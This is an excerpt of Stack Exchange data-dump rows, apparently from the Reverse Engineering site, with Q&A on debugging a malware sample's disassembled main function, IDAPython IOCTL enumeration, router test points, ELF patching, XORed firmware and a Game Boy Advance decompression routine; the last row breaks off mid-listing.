  <row Id="20889" PostTypeId="2" ParentId="20888" CreationDate="2019-03-15T17:57:24.850" Score="2" Body="&lt;p&gt;There are two separate questions there:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What communities can I go to to learn more about decryption?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Two quickly come to mind: &lt;a href=&quot;https://www.reddit.com/r/crypto&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reddit&lt;/a&gt; and &lt;a href=&quot;https://crypto.stackexchange.com&quot;&gt;Cryptography Stack Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where do I go to find people to decrypt my specific problems?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could try Stack Exchange, but there is also &lt;a href=&quot;https://www.reddit.com/r/Decoders/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a small community on Reddit called decoders&lt;/a&gt; that will try to decode things if they think it's interesting.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2019-03-15T17:57:24.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20890" PostTypeId="1" CreationDate="2019-03-15T23:02:24.640" Score="0" ViewCount="1197" Body="&lt;p&gt;I'm currently inspecting a 32-bit malware executable in a WinXP VM using IDA Pro (free version). I don't understand what's happening in the main function here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should I set the breakpoints (IDA Pro, OllyDbg) to see the content of the variables actually pushed onto the stack while debugging? I've previously set one breakpoint at offset &lt;code&gt;00401230&lt;/code&gt;(beginning main) and &lt;code&gt;004012C6&lt;/code&gt;(end main), but I don't really see the strings (variable values) turn up when observing the e.g. the stack pane in OllyDbg. I'm not sure what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening the strings window in OllyDbg, I can see some of the strings - I assume, will be used within main's function calls, including &lt;code&gt;szServerName&lt;/code&gt; and &lt;code&gt;szPassword&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we can see, there's three functions that are being called within &lt;code&gt;main&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_401000&lt;/code&gt; (called 7x; &lt;a href=&quot;https://pastebin.com/v97ZuHwm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pastebin)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_401170&lt;/code&gt; (called 1x; &lt;a href=&quot;https://pastebin.com/7CX9XGjV&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pastebin)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_401090&lt;/code&gt; (called 1x; &lt;a href=&quot;https://pastebin.com/fvWTerTp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pastebin)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; &lt;em&gt;Taking the feedback into account I've decided to post the other functions in Pastebin (see links above). Posting only the main function here, allows me to keep the post concise.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401230                   proc            _main near              ; CODE XREF: ___tmainCRTStartup+15Ap &#xA;.text:00401230                                                           ; int __cdecl main(int argc,const char **argv,const char *envp)&#xA;.text:00401230                   argc            = dword ptr  8    &#xA;.text:00401230                   argv            = dword ptr  0Ch&#xA;.text:00401230                   envp            = dword ptr  10h&#xA;.text:00401230&#xA;.text:00401230 55                                push    ebp&#xA;.text:00401231 8B EC                             mov     ebp, esp&#xA;.text:00401233 68 C0 B9 40 00                    push    offset szServerName &#xA;.text:00401238 68 00 A0 40 00                    push    offset unk_40A000   &#xA;.text:0040123D E8 BE FD FF FF                    call    sub_401000          &#xA;.text:00401242 83 C4 08                          add     esp, 8&#xA;.text:00401245 68 C0 B3 40 00                    push    offset szUserName  &#xA;.text:0040124A 68 00 A1 40 00                    push    offset unk_40A100  &#xA;.text:0040124F E8 AC FD FF FF                    call    sub_401000                     &#xA;.text:00401254 83 C4 08                          add     esp, 8&#xA;.text:00401257 68 C0 BF 40 00                    push    offset szPassword  &#xA;.text:0040125C 68 00 A2 40 00                    push    offset unk_40A200&#xA;.text:00401261 E8 9A FD FF FF                    call    sub_401000&#xA;.text:00401266 83 C4 08                          add     esp, 8&#xA;.text:00401269 68 C0 B7 40 00                    push    offset szLocalFile &#xA;.text:0040126E 68 08 A3 40 00                    push    offset unk_40A308&#xA;.text:00401273 E8 88 FD FF FF                    call    sub_401000&#xA;.text:00401278 83 C4 08                          add     esp, 8&#xA;.text:0040127B 68 C0 BB 40 00                    push    offset unk_40BBC0  &#xA;.text:00401280 68 08 A4 40 00                    push    offset unk_40A408  &#xA;.text:00401285 E8 76 FD FF FF                    call    sub_401000&#xA;.text:0040128A 83 C4 08                          add     esp, 8&#xA;.text:0040128D 68 C0 BD 40 00                    push    offset unk_40BDC0&#xA;.text:00401292 68 08 A5 40 00                    push    offset unk_40A508&#xA;.text:00401297 E8 64 FD FF FF                    call    sub_401000&#xA;.text:0040129C 83 C4 08                          add     esp, 8&#xA;.text:0040129F 68 C0 C1 40 00                    push    offset szRemoteFile&#xA;.text:004012A4 68 08 A6 40 00                    push    offset unk_40A608&#xA;.text:004012A9 E8 52 FD FF FF                    call    sub_401000&#xA;.text:004012AE 83 C4 08                          add     esp, 8&#xA;.text:004012B1 68 C0 B7 40 00                    push    offset szLocalFile ; lpszLocalFile&#xA;.text:004012B6 E8 B5 FE FF FF                    call    sub_401170&#xA;.text:004012BB 83 C4 04                          add     esp, 4&#xA;.text:004012BE E8 CD FD FF FF                    call    sub_401090&#xA;.text:004012C3 33 C0                             xor     eax, eax&#xA;.text:004012C5 5D                                pop     ebp&#xA;.text:004012C6 C3                                retn&#xA;.text:004012C6                   endp            _main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm grateful for any pointers and explanations to help me on my way to understand the main function.&lt;/p&gt;&#xA;" OwnerUserId="27811" LastEditorUserId="27811" LastEditDate="2019-03-24T11:27:12.087" LastActivityDate="2019-03-24T11:27:12.087" Title="What's happening in the assembly main function?" Tags="|disassembly|assembly|x86|malware|idapro-sdk|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20892" PostTypeId="1" AcceptedAnswerId="21169" CreationDate="2019-03-16T08:38:51.677" Score="1" ViewCount="659" Body="&lt;p&gt;Inspired by &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18399/23069&quot;&gt;this answer&lt;/a&gt; about RE-ing IOCTLs, I tried to get the IOCTLs from&#xA;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-ntdeviceiocontrolfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NtDeviceIoControlFile()&lt;/code&gt;&lt;/a&gt; syscall. Here is an example of that syscall&#xA;in &lt;code&gt;Beep()&lt;/code&gt; function in &lt;code&gt;KernelBase.dll&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In x86_64 (__fastcall) Assembly language:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;and     [rsp+72], ebx                   ; OutputBufferLength&#xA;and     [rsp+64], rbx                   ; OutputBuffer&#xA;mov     dword ptr [rsp+56], 8           ; InputBufferLength&#xA;lea     rax, [rsp+152]&#xA;mov     [rsp+48], rax                   ; InputBuffer&#xA;mov     dword ptr [rsp+40], 10000h      ; IoControlCode&#xA;lea     rax, [rsp+78h+var_18]&#xA;mov     [rsp+32], rax                   ; IoStatusBlock&#xA;xor     r9d, r9d                        ; ApcContext&#xA;xor     r8d, r8d                        ; ApcRoutine&#xA;xor     edx, edx                        ; Event&#xA;mov     rcx, [rsp+144]                  ; FileHandle&#xA;call    cs:__imp_NtDeviceIoControlFile&#xA;test    eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In C language:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSTATUS Status;&#xA;Status = NtDeviceIoControlFile(FileHandle,&#xA;                               NULL,&#xA;                               NULL,&#xA;                               NULL,&#xA;                               &amp;amp;IoStatusBlock,&#xA;                               0x10000u,&#xA;                               &amp;amp;InputBuffer,&#xA;                               InputBufferLength,&#xA;                               OutputBuffer,&#xA;                               OutputBufferLength);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this code in IDA Python to list all the cross references of that syscall:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Global arrays&#xA;XrefList = []&#xA;&#xA;# Get imported function address&#xA;FuncAddr = LocByName(&amp;quot;__imp_NtDeviceIoControlFile&amp;quot;)&#xA;print &amp;quot;NtDeviceIoControlFile found at 0x%08x&amp;quot; % FuncAddr&#xA;&#xA;# Iterate over all call references&#xA;for xref in XrefsTo(FuncAddr, True):&#xA;    if xref.frm not in XrefList:&#xA;        XrefList.append(xref.frm)&#xA;        print &amp;quot;xref @ 0x%08x (%s)&amp;quot; % (xref.frm, GetFunctionName(xref.frm))&#xA;    else:&#xA;        continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code can successfully list all the syscall in a list. But I want to list&#xA;all the IOCTLs values at &lt;code&gt;RSP+40&lt;/code&gt; offset i.e. 6th parameter. What code should I add?&#xA;If you have any suggestion with IDC code I shall appreciate it as well.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-04-17T09:27:02.703" Title="How to get IOCTLs from all NtDeviceIoControlFile function call?" Tags="|ida|windows|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20893" PostTypeId="1" CreationDate="2019-03-16T09:18:53.073" Score="1" ViewCount="110" Body="&lt;p&gt;I have a BCM3383 based cable router here where I ultimately want to dump the firmware. I have serial access to the broadcom bootloader and the linux console. Login for linux is unkown and telnet does not seem to be available. The device is supposed to run linux and ecos for different functions.&#xA;The bootloader prompt shows some options, also for reading memory so I could probably dump it from there. I need to take a closer look at how this could work though. There is no obvious JTAG header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, there are multiple small solder blobs labeled TP (test point I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering what would be the best approach to deduce their function and which tools I would need. &#xA;What could be common functions beyond jtag?&#xA;How are the individual components generally labeled? When I have TP 1 and 5, do I automatically have also TP 2,3,4 (maybe unlabeled) somewhere? Or are all components grouped together so that I might have C3,R4,SW5 instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are pins which belong to the same function also usually grouped together on the PCB and are their traces/pins on the CPU next to each other? This seems to be at least the case for UART,RAM, USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could maybe exclude some obvious things which are not JTAG like all the traces going from the CPU to other components like RAM, flash ...&#xA;There are still lots of other traces which end in unlabeled enameled vias on the PCB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have for the device specifically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TP 1,3,4 have 3.3 V, TP2 has 0.2 V. They are close to each other and directly under the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TP282, 8 and 583 are also under the CPU and have 3.3V, 0V and 0.2V.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TP 205,206 and 207,208 are more close to the RAM but don't seem to be connected. They all have 0.2V They are also close to each other but on different sides of the PCB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TP 6 and 7 have 3.3 V and are close to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a lonely TP 2407 with 3.3V&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of those has anything else connected to it, they come directly from the CPU. I was reading though, that JTAG is usually accompanied by resistors which would exclude JTAG for those TPs ? I don't know if a CPU can also have those internally.&lt;/p&gt;&#xA;" OwnerUserId="27819" LastActivityDate="2019-03-16T09:18:53.073" Title="Finding the function of test points on a router" Tags="|firmware|dumping|jtag|pcb|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20894" PostTypeId="1" CreationDate="2019-03-16T09:54:22.647" Score="4" ViewCount="93" Body="&lt;p&gt;So, this is a noob question, I am a complete beginner in this field, so sorry if I'm wasting your time in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to know, if there is a way to edit an ELF binary without using a hex editor. More specifically, I want to get the Assembly code, and then edit it directly, and then assemble it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I would use &lt;em&gt;objdump&lt;/em&gt; and &lt;em&gt;wxHexEditor&lt;/em&gt; to patch a few values, but there is a problem - &lt;strong&gt;how can I write new instructions, without overwriting the next ones&lt;/strong&gt;? This is why I wanted to know if I could &lt;strong&gt;edit the Assembly code instead of the hex data&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Please please please note - 80% of what I just said is unclear to me, because I just started to do this stuff. If you can, excuse my lack of knowledge.)&lt;/p&gt;&#xA;" OwnerUserId="27820" LastActivityDate="2019-03-16T09:54:22.647" Title="Any way to edit an ELF binary without hex?" Tags="|assembly|elf|binary|hex|patching|" AnswerCount="0" CommentCount="3" ClosedDate="2019-03-22T18:00:12.153" ContentLicense="CC BY-SA 4.0" />
  <row Id="20897" PostTypeId="2" ParentId="20838" CreationDate="2019-03-16T16:56:40.057" Score="9" Body="&lt;p&gt;Furthermore, with the CMP instruction, the destination operand doesn't change. Just the flags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me illustrate. Let's say &lt;code&gt;EAX = 00000005&lt;/code&gt; and &lt;code&gt;EBX = 00000005&lt;/code&gt;. If we do this arithmetic operation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CMP EAX, EBX&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening, is in effect this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EAX - EBX&lt;/code&gt; ----&gt;&#xA;&lt;code&gt;00000005 - 00000005&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the result would be &lt;code&gt;0&lt;/code&gt;, but we don't change the destination operand in a CMP instruction, the zero flag is set to &lt;code&gt;1&lt;/code&gt; (since it's true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as we saw, depending on the result of the previous arithmetic operation, flags can be set accordingly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o4f30.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4f30.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27811" LastEditorUserId="27811" LastEditDate="2019-03-23T18:42:29.523" LastActivityDate="2019-03-23T18:42:29.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20898" PostTypeId="2" ParentId="20890" CreationDate="2019-03-16T18:39:09.110" Score="3" Body="&lt;p&gt;the disassembly You posted for sub 401000 is incomplete   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a limited explanation&lt;br&gt;&#xA;it checks the provided buffer (0x40A000 in the first call for the first null terminator )&lt;br&gt;&#xA;and possibly decrypts it and memcpy() the decrypted string to szUserName  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the part is missing in your post (everything that happens after 0x401025 the jz path)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;look at disassembly it says it takes two arguments arg_0 and arg_4  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the two arguments for the first call to this function are   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    offset szServerName  &amp;lt;&amp;lt; this is a pointer to a string&#xA;push    offset unk_40A000    &amp;lt;&amp;lt; this is some address that ida isn't sure of&#xA;call    sub_401000           &amp;lt;&amp;lt; calls the functions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so inside the call   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it initializes a counter (ebp+var4) or (ebp-4) to 0&lt;br&gt;&#xA;it initialises eax to arg_0 or ebp+8 =&gt;0x40A000 for first call&lt;br&gt;&#xA;takes a byte form this address 0x40a000 + counter (0,1,2,3,....n...) to ecx&lt;br&gt;&#xA;and checks for \x0 and loops until a \x0 is found&lt;br&gt;&#xA;when a null terminator is found it jumps to 0x401025 (missing part)   &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-03-16T18:39:09.110" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20899" PostTypeId="2" ParentId="20890" CreationDate="2019-03-17T00:52:16.950" Score="1" Body="&lt;p&gt;I recommend starting from the beginning of main(), as you are, and single-stepping through each instruction.  In OllyDbg, the keybinding for single-step-into is F7.  Every time you press F7, the debugger will execute a single instruction, and you can look at the stack (lower-right window pane) and registers (upper-right window pane) to see how they were affected by the instruction that you just executed.  Remember that the highlighted instruction in OllyDbg is the &lt;em&gt;next&lt;/em&gt; instruction to be executed when you press F7.  Also, when you want to skip over a CALL (such as an API call), use F8 to &quot;step over&quot; the instruction rather than into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for some introductory material to software reverse engineering and malware analysis, &lt;a href=&quot;http://opensecuritytraining.info/Training.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSecurityTraining.info&lt;/a&gt; may help.  Full disclosure: I contributed to that website.  You can follow this progression of courses on that website:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Introductory Intel x86&lt;/li&gt;&#xA;&lt;li&gt;(optional) Intermediate Intel x86&lt;/li&gt;&#xA;&lt;li&gt;(optional) Life of Binaries&lt;/li&gt;&#xA;&lt;li&gt;Introduction to Reverse Engineering Software&lt;/li&gt;&#xA;&lt;li&gt;(optional) Malware Dynamic Analysis&lt;/li&gt;&#xA;&lt;li&gt;Reverse Engineering Malware&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are completely new to programming, then you should start with a good Introduction to C Programming online course, especially basic data structures and algorithms.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-03-17T00:52:16.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20900" PostTypeId="1" CreationDate="2019-03-17T04:25:10.033" Score="2" ViewCount="103" Body="&lt;p&gt;I have a IoT scale that stores my measurements into records and passes them onto my phone. I was able to read directly off a flash chip and create a binary file. The chipset is ARMv7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to verify my recordings on the device match what I have on my phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the binary through strings and was only able to obtain the make and model of the device. I ran it through binwalk and no signatures were detected. I ran an entropy analysis and the entropy doesn't ever seem to be high enough to 1 to contain obfuscation/encryption/compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the hexdump I notice that the first block of data on the binary is ARM execution code and the rest is mostly empty except for some blocks of data. I extracted the binary between multiple recordings and noticed (through diffs) that these blocks of data are created almost on-par with each recording.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem im having is that each recording seemingly only adds on 32 bytes of data and none of the hex converts to the measurements or timestamps of the recordings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the methodology to decode these 32 bytes of data?&lt;/p&gt;&#xA;" OwnerUserId="27827" LastActivityDate="2019-03-17T04:25:10.033" Title="How do I decode arbitrary data from a raw extracted binary?" Tags="|binary-analysis|binary|binary-diagnosis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20902" PostTypeId="1" CreationDate="2019-03-17T16:11:50.687" Score="4" ViewCount="345" Body="&lt;p&gt;As a means of learning about packing firmware and for fun I am trying to unpack the latest firmware for an entry level Tektronix Function generator &lt;a href=&quot;https://drive.google.com/file/d/1cN5qldL0jDh5B7_BdnHpTZQ9ivfeaOD1/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware attached&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the forum and installed a REMnux VM.  I have also used the &lt;a href=&quot;https://wiremask.eu/tools/xor-cracker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XOR Cracker site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have convinced myself the file is XORed and not encrypted using &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/mESOl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;image attached&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sites and the tools all concur as to probable XOR patterns, 94 94 90 a1 91 89 91 92 being the most likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also studied the excellent information available on &lt;a href=&quot;https://blog.malwarebytes.com/threat-analysis/2013/05/nowhere-to-hide-three-methods-of-xor-obfuscation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malwarebytes&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, saving all combinations of XORed file I am unable to find and meaningful strings nor get binwalk to make any sense of the saved file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?  Can anybody suggest any other strategy to yield the un-xored file?&lt;/p&gt;&#xA;" OwnerUserId="27830" LastActivityDate="2019-03-18T23:43:16.113" Title="Tektronix firmware XOR puzzle" Tags="|xor|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20904" PostTypeId="1" AcceptedAnswerId="20912" CreationDate="2019-03-17T17:12:13.563" Score="5" ViewCount="667" Body="&lt;p&gt;Reposted from &lt;a href=&quot;https://stackoverflow.com/questions/55209301&quot;&gt;StackOverflow&lt;/a&gt; as is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to decompress a very long text block from an ARMv5t powered Gameboy Advance ROM, which was compressed using some kind of custom LZ-esque compression algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompression algorithm, as I understood it is as follows (someone else figured it out):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Read data in 32 bit pieces &#xA;position = 0&#xA;output = initialized buffer&#xA;read 1 bit&#xA;&#xA;if (bit == 1):&#xA;    read next 7 bits, save at current position (ASCII character)&#xA;&#xA;if (bit == 0):&#xA;    read 2 bits:&#xA;        if (bits == 00):&#xA;            read 7 bits (X)&#xA;            read 2 bits (Y)&#xA;            take Y + 2 characters from (position - X) &#xA;            write Y + 2 characters at current position to output&#xA;            save X as save_X&#xA;        if (bits == 01):&#xA;            read 4 bits (X)&#xA;            take the character at (position - X + 1) &#xA;            write 1 character at current position to output&#xA;        if (bits == 10):&#xA;            read 3 bits (Y)&#xA;            take Y characters at (position - save_X) &#xA;            write Y characters at current position to output &#xA;        if (bits == 11):&#xA;            read 9 bits (X)&#xA;            read 2 bits (Y)&#xA;            Z = (Y + 1) * 2 + 1;&#xA;            take Z characters at (position - X)&#xA;            write Z characters at (position - X) to output&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My C implementation works very well for the first 157 characters&lt;/strong&gt;, for which  [bits == 11] never happens. Then, once this write is completed, the purpose of the next 6 bits is completely unknown to me, and if I skip them, the next character will display correctly and that's about it, then it's gibberish. Also, probably of note, the source of the compressed string's first 17 bits seem to be useless zeroes, so I just did nothing with them. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct tag_input_t {&#xA;    uint32_t data;&#xA;    FILE* file;&#xA;    unsigned buffer;&#xA;    int buffer_bits;&#xA;} input_t;&#xA;&#xA;&#xA;uint32_t data = get_next_block(file);  // 32 bit block&#xA;&#xA;input_t input; // input is a struct with a buffer, so that if I need to read X bits and there are only Y (Y&amp;lt;X) bits left, I can load the next 32 bit block.&#xA;init_input(&amp;amp;input, data, file); &#xA;&#xA;new_read_bits(&amp;amp;input, 17);&#xA;&#xA;int save_X = 0;&#xA;int position = 0;&#xA;&#xA;while (position &amp;lt; 256) {&#xA;    unsigned is_char = new_read_bits(&amp;amp;input, 1);&#xA;    if (is_char) output[position++] = new_read_bits(&amp;amp;input, 7);&#xA;    else {&#xA;        unsigned mode = new_read_bits(&amp;amp;input, 2);&#xA;        unsigned X, Y, Z;&#xA;        switch (mode) {&#xA;            case 0:&#xA;                save_X = X = new_read_bits(&amp;amp;input, 7);&#xA;                Y = new_read_bits(&amp;amp;input, 2);&#xA;                memmove(output + position, output + position - X, Y + 2);&#xA;                position += Y + 2;&#xA;                break;&#xA;            case 1:&#xA;                X = new_read_bits(&amp;amp;input, 4);&#xA;                output[position] = output[position - X + 1];&#xA;                position++;&#xA;                break;&#xA;            case 2:&#xA;                Y = new_read_bits(&amp;amp;input, 3);&#xA;                memmove(output + position, output + position - save_X, Y + 1);&#xA;                position += Y + 1;&#xA;                break;&#xA;            default: //case 3:&#xA;                X = new_read_bits(&amp;amp;input, 9);&#xA;                Y = new_read_bits(&amp;amp;input, 2);&#xA;                Z = (Y + 1) * 2 + 1;&#xA;                memmove(output + position, output + position - X, Z);&#xA;                position += Z;&#xA;                break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The compressed string can be found here (partial), I'm stuck at 08D0CCD0.&#xA;Keep in mind that these values need to be read as 20006491 A023C247 etc...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;91640020 47C223A0 1E698F90 79443E92 8FE4E740 31501F79 C43D0736 25F4087D 203C0FE6 C0151332 3E1190C3 02ECF3E0 09584121 DCF3A03D A7C1261D 6B430698 E6422195 41701E0F 34BF0BF4 0EECA58E 3332407C 0BE49541 0262203D DEC7E15C 08D0CCD0 3C8D1C09 7004C4C5 66EEF099&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if for example, we take the first 8 bytes, 91640020 and A023C247 we get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;‭00100000000000000        11001001 0010001‬ 10100000 0010001 11100001 0010001 11__&#xA;first 17 are ignored     ^------- ^  ---- ^------- ^  ---- ^------- ^  ---- ^&#xA;                             I        *    (space)      *      a         *&#xA;&#xA;* - results in \0&#xA;^ - first read bit&#xA;&#xA;The result will be I. a.d.m.i.r.e. .y.o.u.r. .e.n.t.h.u.s.i.a.s.m (. is 00)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The routine in ASM can be found here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0300:0040] e92d4ff0 stmfd sp!, {r4-r11,lr}                 &#xA;[0300:0044] e3a05008 mov r5, #0x8                           &#xA;[0300:0048] e3a0a000 mov r10, #0x0                          &#xA;[0300:004c] e3a0c001 mov r12, #0x1                          &#xA;[0300:0050] ea000003 b $03000064       &#xA;[0300:0054] e1a08003 mov r8, r3&#xA;[0300:0058] eb00008b bl $0300028c       &#xA;[0300:005c] e0877004 add r7, r7, r4                         &#xA;[0300:0060] e4c07001 strb r7, [r0], #0x1                    &#xA;[0300:0064] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0068] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:006c] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:0070] e0966006 adds r6, r6, r6                        &#xA;[0300:0074] 2afffff6 bcs $03000054       &#xA;[0300:0078] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:007c] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:0080] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:0084] e0966006 adds r6, r6, r6                        &#xA;[0300:0088] 2a00003b bcs $0300017c                          &#xA;[0300:008c] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:0090] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:0094] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:0098] e0966006 adds r6, r6, r6                        &#xA;[0300:009c] 3a000023 bcc $03000130&#xA;[0300:00a0] e3a08004 mov r8, #0x4&#xA;[0300:00a4] eb000078 bl $0300028c       &#xA;[0300:00a8] e2577001 subs r7, r7, #0x1                      &#xA;[0300:00ac] 0affffeb beq $03000060&#xA;[0300:00b0] 5a00001c bpl $03000128      &#xA;[0300:00b4] e25aa001 subs r10, r10, #0x1                    &#xA;[0300:00b8] 44916004 ldrmi r6, [r1], #0x4                   &#xA;[0300:00bc] 43a0a01f movmi r10, #0x1f                       &#xA;[0300:00c0] e0966006 adds r6, r6, r6                        &#xA;[0300:00c4] 3a00000b bcc $030000f8                          &#xA;[0300:00c8] e3a09f40 mov r9, #0x100                         &#xA;[0300:00cc] e3a08008 mov r8, #0x8&#xA;[0300:00d0] eb00006d bl $0300028c&#xA;[0300:00d4] e4c07001 strb r7, [r0], #0x1&#xA;[0300:00d8] e2599001 subs r9, r9, #0x1&#xA;[0300:00dc] 1afffffa bne $030000cc&#xA;[0300:00e0] 